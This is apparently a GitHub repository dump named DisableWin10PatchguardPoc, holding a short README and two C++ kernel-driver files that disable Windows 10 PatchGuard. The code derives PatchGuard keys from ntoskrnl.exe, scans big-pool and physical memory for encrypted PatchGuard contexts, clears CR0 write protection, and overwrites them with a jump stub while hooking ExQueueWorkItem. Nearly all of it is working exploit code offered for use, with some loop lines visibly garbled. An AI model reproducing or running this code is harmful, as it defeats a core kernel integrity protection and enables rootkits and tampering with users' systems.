├── .gitignore ├── PocNewCode.cpp ├── README.md └── poc.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /PocNewCode.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | namespace ddk::patchguard 4 | { 5 | DWORD64 PreKey1 = 0x4808588948c48b48ull; 6 | DWORD64 PreKey2 = 0x5518788948107089ull; 7 | DWORD64 Key1 = 0; 8 | DWORD64 Key2 = 0; 9 | ULONG_PTR g_ExQueueWorkItem = 0; 10 | PVOID g_FreePg = nullptr; 11 | ULONG_PTR ScanMinSize = 0; 12 | void get_key() 13 | { 14 | PVOID lpNtMem = nullptr; 15 | auto st = ddk::util::LoadFileToMem(L"\\SystemRoot\\System32\\ntoskrnl.exe", &lpNtMem); 16 | if (!NT_SUCCESS(st)) 17 | { 18 | LOG_DEBUG("OpenFile Failed\r\n"); 19 | return; 20 | } 21 | if (!lpNtMem) 22 | { 23 | LOG_DEBUG("Load File Failed\r\n"); 24 | return; 25 | } 26 | auto exit1 = std::experimental::make_scope_exit([&]() { 27 | if (lpNtMem) 28 | { 29 | ExFreePool(lpNtMem); 30 | } 31 | }); 32 | //找到节表INITKDBG 33 | 34 | auto dos_header = reinterpret_cast(lpNtMem); 35 | auto pNtHeader = reinterpret_cast((PUCHAR)lpNtMem + dos_header->e_lfanew); 36 | auto NumSections = pNtHeader->FileHeader.NumberOfSections; 37 | //LoadFileToMem用宏一些系统会爆炸 38 | auto pSections = reinterpret_cast((PUCHAR)pNtHeader + sizeof(IMAGE_NT_HEADERS)); 39 | auto pScan = (PUCHAR)nullptr; 40 | auto ScanSize = 0; 41 | for (auto i=0;ii+0x800+0x10) 64 | { 65 | PreKey2 = *(DWORD64 *)(&pScan[i + 8]); 66 | Key1 = *(DWORD64 *)(&pScan[i + 0x800]); 67 | Key2 = *(DWORD64 *)(&pScan[i + 0x800 + 8]); 68 | break; 69 | } 70 | } 71 | } 72 | } 73 | VOID 74 | NewExQueueWorkItem( 75 | _Inout_ __drv_aliasesMem PWORK_QUEUE_ITEM WorkItem, 76 | _In_ WORK_QUEUE_TYPE QueueType 77 | ) 78 | { 79 | return; 80 | } 81 | ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context) 82 | { 83 | for (auto i = 0x0E8; i < 0x120; i += 8) 84 | { 85 | if (*(ULONG_PTR*)(Context + i) == g_ExQueueWorkItem) 86 | { 87 | *(ULONG_PTR*)(Context + i) = (ULONG_PTR)NewExQueueWorkItem; 88 | break; 89 | } 90 | } 91 | return Context; 92 | } 93 | bool PocScanPg(PVOID BaseAddress, SIZE_T _Size,bool bBigPool=false) 94 | { 95 | if (!bBigPool) 96 | { 97 | if (_Size == PAGE_SIZE) 98 | { 99 | PUCHAR pAccessPage = (PUCHAR)BaseAddress + _Size + 0x800; 100 | if (MmIsAddressValid(pAccessPage)) 101 | { 102 | _Size += PAGE_SIZE; 103 | } 104 | } 105 | } 106 | for (auto i = SIZE_T(0); i < _Size; i++) 107 | { 108 | //下面攻击密文pg 109 | 110 | if ((i + 0x800 + 0x10) < _Size 111 | && (ULONG_PTR)((PUCHAR)BaseAddress + i + 0x800 + 0x10) > (ULONG_PTR)BaseAddress 112 | && MmIsAddressValid(PVOID((PUCHAR)BaseAddress + i)) 113 | && MmIsAddressValid(PVOID((PUCHAR)BaseAddress + i + 0x8)) 114 | && MmIsAddressValid(PVOID((PUCHAR)BaseAddress + i + 0x800)) 115 | && MmIsAddressValid(PVOID((PUCHAR)BaseAddress + i + 0x800 + 0x8)) 116 | ) 117 | { 118 | auto TempKey1 = *(ULONG_PTR*)((PUCHAR)BaseAddress + i) ^ PreKey1; 119 | auto TempKey2 = *(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x8) ^ PreKey2; 120 | if ((*(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x800) ^ Key1) == TempKey1 && 121 | (*(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x800 + 0x8) ^ Key2) == TempKey2) 122 | { 123 | LOG_DEBUG("ExecPatchGuard address:%p TempKey1:%p TempKey2:%p\n", (PUCHAR)BaseAddress + i, TempKey1, TempKey2); 124 | UCHAR Code[0x10] = { 0 }; 125 | memcpy(Code, "\x48\xB8\x21\x43\x65\x87\x78\x56\x34\x12\xFF\xE0\x90\x90\x90\x90", 0x10); 126 | //MakeWriteAble 127 | 128 | *(ULONG_PTR*)(Code + 0x2) = (ULONG_PTR)g_FreePg; 129 | _disable(); 130 | __writecr0(__readcr0() & (~(0x10000))); 131 | *(ULONG_PTR*)((PUCHAR)BaseAddress + i) = *(ULONG_PTR*)Code ^ TempKey1; 132 | *(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x8) = *(ULONG_PTR*)(Code + 0x8) ^ TempKey2; 133 | __writecr0(__readcr0() ^ 0x10000); 134 | _enable(); 135 | return true; 136 | } 137 | } 138 | } 139 | return false; 140 | } 141 | void disable_pg_bigPool() 142 | { 143 | //使用BigPool版本 144 | if (!Key1 || !Key2) 145 | { 146 | get_key(); 147 | } 148 | if (!Key1 || !Key2) 149 | { 150 | LOG_DEBUG("Find Key Failed\r\n"); 151 | return; 152 | } 153 | if (!g_FreePg) 154 | { 155 | g_FreePg = ExAllocatePoolWithTag(NonPagedPool, 0x10, 'fktp'); 156 | if (!g_FreePg) 157 | { 158 | LOG_DEBUG("Allocate Free Pg Failed\r\n"); 159 | return; 160 | } 161 | UCHAR _FreePg[] = { 0x48,0x83,0xC4,0x30,0xC3 }; 162 | RtlCopyMemory(g_FreePg, _FreePg, sizeof(_FreePg)); 163 | } 164 | LOG_DEBUG("Key1=%p Key2=%p\r\n", Key1, Key2); 165 | g_ExQueueWorkItem = (ULONG_PTR)ddk::util::get_proc_address("ExQueueWorkItem"); 166 | 167 | auto pBigPoolInfo = reinterpret_cast(ddk::util::get_sysinfo(SystemBigPoolInformation)); 168 | if (pBigPoolInfo) 169 | { 170 | auto exit1 = std::experimental::make_scope_exit([&]() { 171 | free(pBigPoolInfo); 172 | }); 173 | for (auto i = 0; i < pBigPoolInfo->Count; i++) { 174 | auto poolEntry = pBigPoolInfo->AllocatedInfo[i]; 175 | if(poolEntry.SizeInBytes>=ScanMinSize) 176 | { 177 | 178 | if (MmIsAddressValid(poolEntry.VirtualAddress)) 179 | { 180 | if (PocScanPg(poolEntry.VirtualAddress, poolEntry.SizeInBytes, true)) 181 | { 182 | LOG_DEBUG("Tag: %.*s, Address: 0x%p, Size: 0x%p\r\n", 4, poolEntry.Tag, poolEntry.VirtualAddress, (PVOID)poolEntry.SizeInBytes); 183 | } 184 | } 185 | } 186 | } 187 | } 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DisableWin10PatchguardPoc 2 | reference: 3 | --- 4 | ``` 5 | http://www.mengwuji.net/thread-7609-1-1.html 6 | http://www.mengwuji.net/thread-7608-1-1.html 7 | ``` 8 | contact: 9 | --- 10 | ``` 11 | qq group:48715131 12 | qq download:https://im.qq.com 13 | ``` 14 | -------------------------------------------------------------------------------- /poc.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | namespace ddk::patchguard 4 | { 5 | DWORD64 PreKey1 = 0x4808588948c48b48ull; 6 | DWORD64 PreKey2 = 0x5518788948107089ull; 7 | DWORD64 Key1 = 0; 8 | DWORD64 Key2 = 0; 9 | ULONG_PTR g_ExQueueWorkItem = 0; 10 | PVOID g_FreePg = nullptr; 11 | void get_key() 12 | { 13 | PVOID lpNtMem = nullptr; 14 | auto st = ddk::util::LoadFileToMem(L"\\SystemRoot\\System32\\ntoskrnl.exe", &lpNtMem); 15 | if (!NT_SUCCESS(st)) 16 | { 17 | LOG_DEBUG("OpenFile Failed\r\n"); 18 | return; 19 | } 20 | if (!lpNtMem) 21 | { 22 | LOG_DEBUG("Load File Failed\r\n"); 23 | return; 24 | } 25 | auto exit1 = std::experimental::make_scope_exit([&]() { 26 | if (lpNtMem) 27 | { 28 | ExFreePool(lpNtMem); 29 | } 30 | }); 31 | //找到节表INITKDBG 32 | 33 | auto dos_header = reinterpret_cast(lpNtMem); 34 | auto pNtHeader = reinterpret_cast((PUCHAR)lpNtMem + dos_header->e_lfanew); 35 | auto NumSections = pNtHeader->FileHeader.NumberOfSections; 36 | auto pSections = reinterpret_cast((PUCHAR)pNtHeader + sizeof(IMAGE_NT_HEADERS)); 37 | auto pScan = (PUCHAR)nullptr; 38 | auto ScanSize = 0; 39 | for (auto i=0;ii+0x800+0x10) 61 | { 62 | //修复Key2在15063和部分win10上找不到的问题 63 | PreKey2 = *(DWORD64 *)(&pScan[i + 8]); 64 | Key1 = *(DWORD64 *)(&pScan[i + 0x800]); 65 | Key2 = *(DWORD64 *)(&pScan[i + 0x800 + 8]); 66 | break; 67 | } 68 | } 69 | } 70 | } 71 | VOID 72 | NewExQueueWorkItem( 73 | _Inout_ __drv_aliasesMem PWORK_QUEUE_ITEM WorkItem, 74 | _In_ WORK_QUEUE_TYPE QueueType 75 | ) 76 | { 77 | return; 78 | } 79 | ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context) 80 | { 81 | for (auto i = 0x0E8; i < 0x120; i += 8) 82 | { 83 | if (*(ULONG_PTR*)(Context + i) == g_ExQueueWorkItem) 84 | { 85 | *(ULONG_PTR*)(Context + i) = (ULONG_PTR)NewExQueueWorkItem; 86 | break; 87 | } 88 | } 89 | return Context; 90 | } 91 | void PocScanPg(PVOID BaseAddress, SIZE_T _Size) 92 | { 93 | if (_Size==PAGE_SIZE) 94 | { 95 | PUCHAR pAccessPage = (PUCHAR)BaseAddress + PAGE_SIZE + 0x800; 96 | if (ddk::mem_util::MmIsAccessibleAddress(pAccessPage)) 97 | { 98 | _Size += PAGE_SIZE; 99 | } 100 | } 101 | for (auto i = SIZE_T(0); i < _Size; i++) 102 | { 103 | //下面攻击密文pg 104 | 105 | if ((i + 0x800 + 0x10) < _Size) 106 | { 107 | auto TempKey1 = *(ULONG_PTR*)((PUCHAR)BaseAddress + i) ^ PreKey1; 108 | auto TempKey2 = *(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x8) ^ PreKey2; 109 | if ((*(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x800) ^ Key1) == TempKey1 && 110 | (*(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x800 + 0x8) ^ Key2) == TempKey2) 111 | { 112 | LOG_DEBUG("ExecPatchGuard address:%p TempKey1:%p TempKey2:%p\n", (PUCHAR)BaseAddress + i, TempKey1, TempKey2); 113 | UCHAR Code[0x10] = { 0 }; 114 | memcpy(Code, "\x48\xB8\x21\x43\x65\x87\x78\x56\x34\x12\xFF\xE0\x90\x90\x90\x90", 0x10); 115 | *(ULONG_PTR*)(Code + 0x2) = (ULONG_PTR)g_FreePg; 116 | *(ULONG_PTR*)((PUCHAR)BaseAddress + i) = *(ULONG_PTR*)Code ^ TempKey1; 117 | *(ULONG_PTR*)((PUCHAR)BaseAddress + i + 0x8) = *(ULONG_PTR*)(Code + 0x8) ^ TempKey2; 118 | } 119 | } 120 | } 121 | } 122 | void disable_pg_poc() 123 | { 124 | if (!Key1||!Key2) 125 | { 126 | get_key(); 127 | } 128 | if (!Key1||!Key2) 129 | { 130 | LOG_DEBUG("Find Key Failed\r\n"); 131 | return; 132 | } 133 | if (!g_FreePg) 134 | { 135 | g_FreePg = ExAllocatePoolWithTag(NonPagedPool, 0x10, 'fktp'); 136 | if (!g_FreePg) 137 | { 138 | LOG_DEBUG("Allocate Free Pg Failed\r\n"); 139 | return; 140 | } 141 | UCHAR _FreePg[] = { 0x48,0x83,0xC4,0x30,0xC3 }; 142 | RtlCopyMemory(g_FreePg, _FreePg, sizeof(_FreePg)); 143 | } 144 | LOG_DEBUG("Key1=%p Key2=%p\r\n", Key1, Key2); 145 | g_ExQueueWorkItem = (ULONG_PTR)ddk::util::get_proc_address("ExQueueWorkItem"); 146 | auto PhysicalMemoryBlock = std::experimental::make_unique_resource( 147 | MmGetPhysicalMemoryRanges(), &ExFreePool); 148 | auto phymem = PhysicalMemoryBlock.get(); 149 | if (!phymem) 150 | { 151 | return; 152 | } 153 | auto i = 0; 154 | while (phymem[i].NumberOfBytes.QuadPart != 0) 155 | { 156 | PHYSICAL_ADDRESS BaseAddress = PhysicalMemoryBlock[i].BaseAddress; 157 | LARGE_INTEGER NumberOfBytes = PhysicalMemoryBlock[i].NumberOfBytes; 158 | while (NumberOfBytes.QuadPart > 0) 159 | { 160 | auto MapAddress = MmGetVirtualForPhysical(BaseAddress); 161 | auto ulAddress = reinterpret_cast(MapAddress); 162 | SIZE_T ScanSize = PAGE_SIZE; 163 | if (MapAddress 164 | && ulAddress > (ULONG_PTR)MmSystemRangeStart) 165 | { 166 | PVOID ImageBase = nullptr; 167 | if (ddk::mem_util::MmIsExecutableAddress(MapAddress)) 168 | { 169 | RtlPcToFileHeader(MapAddress, &ImageBase); 170 | if (!ImageBase) 171 | { 172 | //发现无模块的可执行内存,扫特征日BB 173 | auto pde = ddk::mem_util::UtilpAddressToPde(MapAddress); 174 | auto pte = ddk::mem_util::UtilpAddressToPte(MapAddress); 175 | if (pde->LargePage) 176 | { 177 | ScanSize = 0x200000ui64; 178 | } 179 | PocScanPg(MapAddress, ScanSize); 180 | } 181 | } 182 | } 183 | BaseAddress.QuadPart += ScanSize; 184 | NumberOfBytes.QuadPart -= ScanSize; 185 | } 186 | i++; 187 | } 188 | } 189 | } 190 | --------------------------------------------------------------------------------